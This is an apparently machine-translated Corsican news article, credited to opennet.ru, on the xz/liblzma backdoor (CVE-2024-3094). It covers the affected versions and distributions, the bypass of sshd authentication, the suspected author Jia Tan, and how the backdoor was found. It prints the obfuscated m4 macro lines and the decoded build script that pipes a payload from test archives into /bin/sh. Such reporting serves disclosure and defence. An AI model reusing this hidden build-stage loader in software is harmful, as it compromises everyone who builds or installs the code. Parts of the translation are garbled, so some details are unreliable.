Una backdoor hè stata scuperta in a biblioteca xz/liblzma chì permette l'ingressu via sshd

In u pacchettu XZ Utils, chì include a libreria liblzma è utilità per travaglià cù dati cumpressi in u formatu ".xz", hè stata identificata una backdoor (CVE-2024-3094) chì permette l'intercepzione è a mudificazione di dati trattati da l'applicazioni associate. cù a biblioteca liblzma. U scopu principale di u backdoor hè u servitore OpenSSH, chì in certi distribuzioni hè bundle cù a libreria libsystemd, chì à u turnu usa liblzma. A cunnessione sshd cù una biblioteca vulnerabile permette à l'attaccanti di accede à u servitore SSH senza autentificazione.

A backdoor era presente in i versioni ufficiali 5.6.0 è 5.6.1, publicati u 24 di ferraghju è u 9 di marzu, chì hà sappiutu per entra in certi distribuzioni è repositori, per esempiu, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide è 40-beta, openSUSE factory and tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Tutti l'utilizatori di e versioni xz 5.6.0 è 5.6.1 sò cunsigliati per rinvià urgentemente à a versione 5.4.6.

Trà i fatturi chì mitigate u prublema, pò esse nutatu chì a versione di liblzma cù una porta di backdoor ùn hà micca riesciutu à diventà parti di e versioni stabili di distribuzioni grandi, ma affettatu openSUSE Tumbleweed è Fedora 40-beta. Arch Linux è Gentoo anu utilizatu una versione vulnerabile di zx, ma ùn sò micca suscettibili à l'attaccu perchè ùn anu micca applicatu u patch systemd-notify à openssh, chì face chì sshd sia ligatu à liblzma. A backdoor afecta solu i sistemi x86_64 basati nantu à u kernel Linux è a libreria Glibc C.

U codice di attivazione backdoor hè stata oculata in macros m4 da u schedariu build-to-host.m4 utilizatu da u toolkit automake quandu custruisce. Durante l'assemblea, durante l'esekzione di intricate operazioni obfuscate basate nantu à l'archivi (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), utilizatu per pruvà a correttezza di l'operazione, hè stata generata un schedariu d'ughjettu cù codice maliziusu, chì era inclusu in a biblioteca liblzma è hà cambiatu a logica di u funziunamentu alcune di e so funzioni. I macros m4 chì attivanu a backdoor sò stati inclusi in i tarballs di liberazione, ma ùn eranu micca in u repository Git. À u listessu tempu, l'archivi di teste maliziusi eranu prisenti in u repository, i.e. a persona chì hà implementatu a backdoor hà avutu accessu à u repositoriu è à i prucessi di generazione di liberazione.

Quandu si usa liblzma in l'applicazioni, i cambiamenti maliziusi puderanu esse aduprati per intercepte o mudificà e dati, o affettanu l'operazione di sshd. In particulare, u codice maliziusu hà falsificatu a funzione RSA_public_decrypt per scaccià u prucessu di autentificazione sshd. U backdoor include a prutezzione da a deteczione è ùn si manifesta micca quandu e variabili di l'ambienti LANG è TERM sò stati stabiliti (vale à dì, quandu eseguite u prucessu in u terminal) è e variabili di l'ambiente LD_DEBUG è LD_PROFILE ùn sò micca stati stabiliti, è hè ancu attivatu solu quandu eseguisce u prucessu. /usr/sbin/sshd file eseguibile . A backdoor hà avutu ancu un mezzu di detectà l'esekzione in ambienti di debug.

In particulare, u schedariu m4/build-to-host.m4 hà utilizatu gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

In a prima custruzzione, l'operazione grep hà truvatu u schedariu tests/files/bad-3-corrupt_lzma2.xz, chì, quandu hè sbulicatu, hà generatu u script: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;poi eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc) $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####World####

Cumu l'attaccanti hà sappiutu per accede à l'infrastruttura di u prughjettu xz ùn hè micca stata chjarificata. Ùn hè ancu micca chjaru quanti utilizatori è prughjetti sò stati cumprumessi per via di u backdoor. L'autore presuntu di u backdoor (JiaT75 - Jia Tan), chì hà publicatu l'archivi cù codice maliziusi in u repository, hà currispundenza cù i sviluppatori Fedora è hà mandatu richieste di pull à Debian in relazione à a transizione di distribuzioni à u ramu xz 5.6.0, è ùn hà micca fattu. suscitanu suspetti, postu ch'ellu hà participatu à xz hà sviluppatu per l'ultimi dui anni è hè u sicondu sviluppatore in quantu à u numeru di cambiamenti fatti. In più di u prughjettu xz, u presunta autore di u backdoor hà participatu ancu à u sviluppu di i pacchetti xz-java è xz-embedded. Inoltre, Jia Tan uni pochi ghjorni fà hè stata inclusa in u numeru di mantene di u prughjettu XZ Embedded utilizatu in u kernel Linux.

U cambiamentu maliziusu hè statu scupertu dopu l'analisi di u cunsumu eccessivu di CPU è l'errori generati da valgrind quandu si cunnette via ssh à i sistemi basati in Debian sid. Hè nutate chì a versione xz 5.6.1 includeva cambiamenti preparati da u presunta autore di u backdoor in risposta à lagnanza di sshd slowdowns è crashes chì si sò sviluppati dopu l'aghjurnamentu à a versione zx 5.6.0 cù a backdoor. Inoltre, l'annu passatu Jia Tan hà fattu cambiamenti chì eranu incompatibili cù u modu d'ispezione "-fsanitize=indirizzu", facendu esse disattivatu durante a prova fuzz.

Source: opennet.ru

Add a comment